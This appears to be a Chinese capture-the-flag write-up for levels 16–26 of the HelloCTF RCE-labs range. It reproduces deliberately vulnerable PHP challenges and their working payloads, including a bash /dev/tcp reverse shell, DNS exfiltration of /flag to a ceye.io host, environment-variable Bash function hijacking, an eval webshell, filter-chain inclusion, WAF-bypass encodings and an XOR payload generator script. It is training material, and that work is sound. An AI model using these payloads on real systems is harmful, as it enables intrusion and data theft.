rce-labs level16-27

level 16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 长度限制_4字符RCE ---

*/

$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}

highlight_file(__FILE__);

?>

和上一关一个待遇

level 17

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php 
session_start();
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - PHP命令执行函数 ---

喵喵喵ww https://www.php.net/manual/zh/ref.exec.php

system() 函数用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。eg:system('cat /etc/passwd');
exec() 函数可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。eg:exec('cat /etc/passwd', $result); print_r($result);
shell_exec() 函数执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。eg:echo shell_exec('cat /etc/passwd');
passthru() 函数执行系统命令并将执行结果输出到页面中,支持二进制数据。eg:passthru('cat /etc/passwd');
popen() 函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。eg:$result = popen('cat /etc/passwd', 'r'); echo fread($result, 100);
反引号 用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。eg:echo \cat /etc/passwd`;`

在该关卡中,你将会从能够执行系统命令的PHP函数中抽取一个,你需要填充函数的内容来执行某些系统命令以获取flag(tip:flag存储在 /flag 中,当然你也可以尝试其他方法)。


*/
function hello_ctf($function, $content){
if($function == '``'){
$code = '`'.$content.'`';
echo "Your Code: $code <br>";
eval("echo $code");
}else
{
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}

}

function get_fun(){

$func_list = ['system', 'exec', 'shell_exec', 'passthru', 'popen','``'];

if (!isset($_SESSION['random_func'])) {
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}

$random_func = $_SESSION['random_func'];

$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);

echo $random_func == '``' ? "获得隐藏运算符: 执行运算符 ,去 https://www.php.net/manual/zh/language.operators.execution.php 详情。<br>" : "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";

return $_SESSION['random_func'];
}

function start($act){

$random_func = get_fun();

if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
session_unset();
session_destroy();
}

if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}
}

isset($_GET['action']) ? start($_GET['action']) : '';

highlight_file(__FILE__);

?>

和level 2类似,关键词:替换

函数 说明 示例代码
system() system() 函数用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。 system('cat /etc/passwd');
exec() exec() 函数可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。 exec('cat /etc/passwd', $result); print_r($result);
shell_exec() shell_exec() 函数执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。 echo shell_exec('cat /etc/passwd');
passthru() passthru() 函数执行系统命令并将执行结果输出到页面中,支持二进制数据。 passthru('cat /etc/passwd');
popen() popen() 函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。 $result = popen('cat /etc/passwd', 'r'); echo fread($result, 100);
反引号 `` 反引号用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。注意:关闭了 shell_exec() 时反引号运算符是无效的 echo `cat /etc/passwd`

直接执行命令

payload:

1
2
3
4
passthru('cat /flag');
system('cat /flag');
shell_exec('cat /flag');
exec('cat /flag > 1.txt');

DNS外带(使用Base64编码并指定公共DNS服务器)

ping,curl都不成功,使用nslookup似乎跟直接

payload:

1
content='nslookup `cat /flag | base64 | tr -d "\n" | head -c 50`.fdmsda.ceye.io'

RCE之执行无回显 - undefined

弹shell

1
bash -i >& /dev/tcp/ip/your_port 0>&1

level 18

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Warning: Invalid argument supplied for foreach() in /var/www/html/index.php on line 15
hello <?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 环境变量注入 ---

来源:P牛2022的文章【我是如何利用环境变量注入执行任意命令】https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html

*/
foreach($_REQUEST['envs'] as $key => $val) {
putenv("{$key}={$val}");
}

system('echo hello');

highlight_file(__FILE__);

?>

环境变量注入RCE,参考我是如何利用环境变量注入执行任意命令

漏洞利用原理:Bash 函数劫持

原理概述

Bash Shell 有一个特性:它允许将函数定义存储在环境变量中,并导出给子进程。Bash 在启动时,会扫描所有环境变量,寻找特定格式的变量名,并将其注册为内部函数。

  1. 识别格式:Bash 识别导出的函数的格式为:BASH_FUNC_函数名%%。
  2. 命令优先级:当 Bash 执行命令时,其优先级顺序为:函数 > 内置命令 > 外部程序(如 /bin/echo)。
  3. 攻击实现:
    • 我们在环境变量中定义一个名为 echo 的恶意函数,函数体是 cat /flag。
    • 当 PHP 执行 system('echo hello') 时,Bash 启动并加载了这个恶意的 echo 函数。
    • Bash 运行时,发现用户想执行 echo,于是它执行了优先级更高的我们定义的函数,从而执行了 cat /flag,实现了命令注入。

构造 Payload

目标

劫持 echo 命令,执行 /bin/cat /flag。

组件 内容 作用
注入参数名 (Key) envs[BASH_FUNC_echo%%] 告诉 PHP 要设置的数组键,其值将成为环境变量名。
环境变量 Key BASH_FUNC_echo%% 告知 Bash 这是一个名为 echo 的函数定义。
环境变量 Value () { cat /flag; } 恶意函数体。 () 定义函数,{} 包含命令。

payload

1
?envs%5BBASH_FUNC_echo%25%25%5D=()%20{%20cat%20/flag;%20}

level 19

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 文件写入导致的RCE ---

https://www.php.net/manual/zh/function.file-put-contents.php

参考可以写入的内容:
<?php @eval($_POST['a']); ?>

*/

function helloctf($code){
$code = "file_put_contents(".$code.");";
eval($code);
}

isset($_GET['c']) ? helloctf($_GET['c']) : '';

highlight_file(__FILE__);

?>

用标准解法行不通

1
?c='1.php','<?php @eval($_POST["a"]); ?>'

所以用的是先包裹住这个方法再调用system函数

1
?c=1)%3B%20system('cat%20%2Fflag')%3B%20%2F%2F

level 20

上传一个一句话木马,然后连接蚁剑就好了

level 21

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 文件包含导致的RCE ---

allow_url_fopen = On
allow_url_include = On
默认全开的环境,可以尝试多种解法,若对此存有疑问,尝试去 github.com/ProbiusOfficial/PHPinclude-labs 了解更多文件包含的知识。

远程文件包含可用链接(<?php @eval($_POST['a']); ?>):
https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI
https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI

FilterChain的Payload生成器:
https://probiusofficial.github.io/PHP-FilterChain-Exploit/
/exp.php

注意:在本关卡中你传递的内容将以字符串的方式拼接在 include() 函数中,你需要区别这与 incluude($_GET['file']) 的区别。
*/

function helloctf($code){
$code = "include(".$code.");";
echo "Your includeCode : ".$code;
eval($code);
}

isset($_POST['c']) ? helloctf($_POST['c']) : '';

highlight_file(__FILE__);

?>

可以直接包含文件

1
c='/flag'

利用payload生成器生成利用链

image-20251210155926181

1
c='php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp'&a=system('cat /flag');

level 22

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : HP 特性 - 动态调用 ---

PHP 支持在运行时动态构建并且调用函数,在下面的代码中 a可以被作为函数,b可以被作为函数的参数。

try ?a=system&b=ls

*/

isset($_GET['a'])&&isset($_GET['b']) ? $_GET['a']($_GET['b']) : null;

highlight_file(__FILE__);

?>
1
?a=system&b=cat%20%2Fflag

level 23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php 
error_reporting(0);
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : PHP 特性 - 自增 ---

可用字符:! $ ' ( ) + , . / ; = [ ] _

自增通过一下几个特性实现:
变量:
在PHP中变量以 $ 开头,后面为变量名称,PHP中变量可以是下划线 _ 开头,所以 $_ 是一个变量,$__ 则是不同的变量,就像 $a 和 $aa 一样。

数组->字符串:
在PHP中,非字符串是不能使用 . 符号进行拼接的,当你强制拼接时 PHP 会将非字符串转换为字符串:
$_ = 1; var_dump($_); var_dump($_.'');
这将会输出:int(1) string(1) "1"
但如果 $_ 是一个数组,则会被强制转换为字符串 Array 而无视数组内容。
所以 [].'' 表示在空数组后面拼接空字符串,PHP会优先转换类型,从而将数组转换为字符串 Array。

字符串:
字符串本质上是一个字符的有序序列,同C语言类似,你可以直接通过索引(或者说下标)的方式直接访问字符串中的字符。
$_ = "Hello-CTF";var_dump($_[0]);
这将会输出 string(1) "H"
所以在 $_ = ([].'')[0]; var_dump($_); 你会得到输出:string(1) "A"

自增:
这是一个编程语言中很常见的操作,我们一般在for循环会写到的语句 i++ 或者 ++i,这是一个自增操作,PHP也一样,只不过我们的变量名称不是很常见与之等效的 $_++ 或者 ++$_。
当我们对一个字符或者是字母进行自增操作时,PHP会将其转换为ASCII码,然后自增,然后再转换为字符。直观一点 A++ 将会输出 B,Z++ 将会输出 AA。++的位置决定语句的执行顺序,++在前面时会先进行自增操作。 $_ = ([].'')[0]; 在前面时输出B,后面时输出A。

所以通过特性的连用,你可以看到很多自增的Payload长这样:
payload=$_=(_/_._)[''=='_'];$_++;$__ = $_++;$__ = $_.$__;$_++;$_++;$_++;$__ = $__.$_++.$_++;$_ = $__;$__ ='_';$__.=$_;$$__[__]($$__[_]);
&__=system
&_=ls

自增题目的考点通常在Payload的长度限制,挑战关卡,让你的Payload足够短吧。
*/

highlight_file(__FILE__);

isset($_POST['code']) ? $code = $_POST['code'] : $code = null;

if(preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/", $code)){
die("WAF!");
}else{
echo "Your Payload's Length : ".strlen($code)."<br>";
eval($code);
}

?>

解法已经写到题目里了

当将一个数组与空白" "组合时,就会变成字符串Array

再利用布尔''=='_',因为两者不相同,所以会回0

于是

1
2
3
4
$_=([].'')[''=='_'];
等同于
$_='Array';
$_=$_[0];

然后利用递增

1
$_++; //A++=B
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$__=$_;//E
$_++;//F
$_++;//G
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
//var_dump($_);
$_='_'.$_;//_GET
var_dump($$_[_]($$_[__]));
//$_GET[_]($_GET[__])

这样就构造出了一个

1
$_($__)

的语句

payload:(urlencode)

1
%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B

同时发送GET请求

1
?_=system&__=cat /flag

level 24

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php 
include ("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : PHP 特性 - 无参命令执行 ---

根据正则表达式的匹配规则,可以看到我们只能输入A(),这样的形式,括号中无法携带参数,但支持多个函数嵌套A(B(C())),这种形式我们称其为无参命令执行。
无参命令执行的难度首先是在于无参本身,这需要你利用一些函数特性外带参数绕过限制 —— 这可以从一些获取外部值的函数实现:
getallheaders()
session_id()
...
其次是对嵌套参数的处理 —— 当然不局限于外带进来的参数,一些诸如 localeconv() 的函数可以获取内部存在的一些参数如当前目录下面的文件信息等:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

通常我们获取到的很多情况下是数组,所以有时候比较依赖对数组的操作,比如:
- array_reverse():数组反转
- pos():输出数组第一个元素
- next():指向数组的下一个元素,并输出
...

随后是一些文件读取显示的操作:
- show_source() - 对文件进行语法高亮显示。
- readfile() - 输出一个文件。
- highlight_file() - 对文件进行语法高亮显示。
- file_get_contents() - 把整个文件读入一个字符串中。
- readgzfile() - 可用于读取非 gzip 格式的文件

...你随时可以通过查阅PHP官方手册中函数相关的部分来找到上面类似的内容。
*/

function hello_code($code){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $code)){
eval($code);
}else{
die("O.o");
}

}

isset($_GET['code']) ? hello_code($_GET['code']) : null;

highlight_file(__FILE__);

?>

1. 获取数据类 (Input Source)

这一类函数用于引入外部变量或者获取环境信息,是我们突破“无参”限制的源头。

函数名 作用 使用方法与场景
getallheaders() 获取所有 HTTP 请求头 (返回数组)。 最强 RCE 函数(仅限 Apache)。 配合 end() 或 next(),你可以把恶意命令写在 HTTP Header 里(如 User-Agent 或自定义头),然后读取它并执行。 Payload: system(end(getallheaders()));
get_defined_vars() 获取所有已定义变量 (返回多维数组)。 当 getallheaders 不可用时(如 Nginx),用它来获取 $_GET, $_POST, $_FILES。配合 current() 等函数提取参数。 Payload: eval(end(current(get_defined_vars()))); (需要配合 GET 参数)
session_id() 获取/设置当前 Session ID (返回字符串)。 需要配合 session_start()。攻击者可以在 Cookie 中设置 PHPSESSID=flag.php,然后由脚本读入。 Payload: show_source(session_id(session_start()));
getcwd() 获取当前工作目录 (返回字符串)。 基础函数。通常作为 scandir() 的参数。 Payload: scandir(getcwd());
localeconv() 获取数字格式信息 (返回数组)。 黑科技。该数组第一个元素通常是 . (小数点)。用它来代替 getcwd() 或表示当前目录。 Payload: scandir(pos(localeconv())); (等同于 scandir('.'))
phpversion() 获取 PHP 版本 (返回字符串)。 如果需要构造数字(例如利用版本号中的数字)或仅仅作为填充物时使用。

2. 数据操作类 (Data Manipulation)

这一类函数用于操作数组指针,帮助我们从数组中精准地“抓取”我们想要的那个元素(比如 flag.php)。

函数名 作用 使用技巧
end() 将指针移到最后一个元素并返回。 当 getallheaders() 的最后一个 Header 是恶意命令,或者文件名排序后 flag.php 在最后时使用。
current() / pos() 返回数组当前(第一个)元素。 获取数组头部元素,常配合 localeconv() 获取 .。
next() 指针后移一位并返回。 数组通常以 . 和 .. 开头,需要用 next() 跳过它们去读取真实文件。
prev() 指针前移一位并返回。 与 end() 配合使用,读取倒数第二个元素。
array_reverse() 翻转数组。 当目标文件在数组开头,但你想用 next() 去够它时;或者它在结尾,你想把它翻转到开头来读取。
array_flip() 交换键和值。 配合 array_rand() 使用。因为 array_rand 返回键名,我们需要把文件名变成键名。
array_rand() 随机返回一个键名。 当你实在无法控制指针指向某个特定文件时,用它来“碰运气”。

3. 最终执行类 (Execution / Sink)

这一类函数是利用链的终点。

函数名 作用 注意事项
show_source() 语法高亮显示文件内容。 别名 highlight_file()。读取 Flag 的首选。
readfile() 输出文件内容。 也是读取文件的标准函数。
file_get_contents() 读取文件到字符串。 通常需要配合 echo 或 var_dump 显示,否则看不到回显。
system() / eval() 执行系统命令或 PHP 代码。 只有当你能通过 getallheaders 或 session_id 引入任意字符串时,才能使用这些 RCE 函数。

payload:

1
2
3
4
5
?code=show_source(array_rand(array_flip(scandir(getcwd()))));
?code=system(next(getallheaders()));
//抓包,在 HTTP Header 中添加一行: User-Agent: ls / (或者其他位置,取决于 next 指向哪里)。 这将直接执行 ls / 命令
?code=show_source(session_id(session_start()));
//抓包,修改 Cookie 为: Cookie: PHPSESSID=/flag (或者 flag.php 的十六进制形式,如果 WAF 拦截点号)。 这将读取 /flag 文件。

level 25

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : PHP 特性 - 取反绕过 ---

注*:推荐先完成 无参命令注入部分题目 后再来尝试这一题。

取反题目实际上就是无参命令执行的一个变种,我们可以通过取反的方式来绕过正则表达式的匹配规则,已经有成熟的脚本就不多做说明了。

脚本仓库:https://github.com/ProbiusOfficial/PHP-inversion
https://probiusofficial.github.io/PHP-inversion/
题目提供一个在线的页面脚本来辅助你完成该题目:/exp.html

*/

function hello_code($code){
if(preg_match("/[A-Za-z0-9]+/", $code)){
die("WAF!");
}
eval($code);
}

isset($_GET['code']) ? hello_code($_GET['code']) : null;

highlight_file(__FILE__);

?>

payload:

1
?code=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

level 26

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
/*
\# -*- coding: utf-8 -*-
\# @Author: 探姬
\# @Date: 2024-08-11 14:34
\# @Repo: github.com/ProbiusOfficial/RCE-labs
\# @email: admin@hello-ctf.com
\# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : PHP 特性 - 无字母数字的代码执行 ---

参考和依据的文章:https://xz.aliyun.com/t/8107

*/

highlight_file(__FILE__);

isset($_POST['code']) ? $code = $_POST['code'] : $code = null;

if(preg_match("/[a-z0-9]/is", $code)){
die("WAF!");
}else{
echo "Your Payload's Length : ".strlen($code)."<br>";
eval($code);
}

?>

附上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import re
import urllib.parse # Python 3 中通常用 parse
import sys

# 1. 设置允许的字符白名单 (根据正则逻辑反向筛选)
a = []
for i in range(0, 256):
c = chr(i)
# 正则:过滤了数字、字母、异或符号、加号、取反、美元符、括号、花括号、与号、减号
# 注意:如果靶场WAF真的过滤了 '^' (异或符),那么生成的Payload可能也无法传输,除非WAF只在解码前检测
tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-', c, re.I)
if (tmp):
continue
else:
a.append(i)

# ==========================================
# 2. 这里改为用户输入
# ==========================================
try:
print("--- PHP异或Payload生成器 ---")
mya = input("请输入函数名 (例如 system): ").strip()
myb = input("请输入参数 (例如 ls /): ").strip()
except KeyboardInterrupt:
sys.exit("\n用户取消输入")

# 全局变量初始化
ans1 = ""
ans2 = ""

def myfun(k, target_str):
global ans1
global ans2
# 遍历白名单中的字符,寻找两个字符的异或结果等于目标字符
for i in range(0, len(a)):
for j in range(0, len(a)): # 修改为从0开始,以获得更多组合可能
if (a[i] ^ a[j] == ord(target_str[k])):
ans1 += chr(a[i])
ans2 += chr(a[j])
return

# ==========================================
# 3. 生成函数名部分 (例如 system)
# ==========================================
ans1 = ""
ans2 = ""
for x in range(0, len(mya)):
myfun(x, mya)

# 构造 data1: ('xxx'^'xxx')
payload_func = "('" + urllib.parse.quote(ans1) + "'^'" + urllib.parse.quote(ans2) + "')"
print(f"\n[+] 函数部分 Payload ({mya}):")
print(payload_func)

# ==========================================
# 4. 生成参数部分 (例如 ls)
# ==========================================
ans1 = ""
ans2 = ""
for k in range(0, len(myb)):
myfun(k, myb)

# 构造 data2: ('xxx'^'xxx')
payload_args = "('" + urllib.parse.quote(ans1) + "'^'" + urllib.parse.quote(ans2) + "')"
print(f"\n[+] 参数部分 Payload ({myb}):")
print(payload_args)

# ==========================================
# 5. 最终拼接
# ==========================================
print("\n[!] 最终完整 Payload:")
# 格式: (函数)(参数); -> (system)(ls);
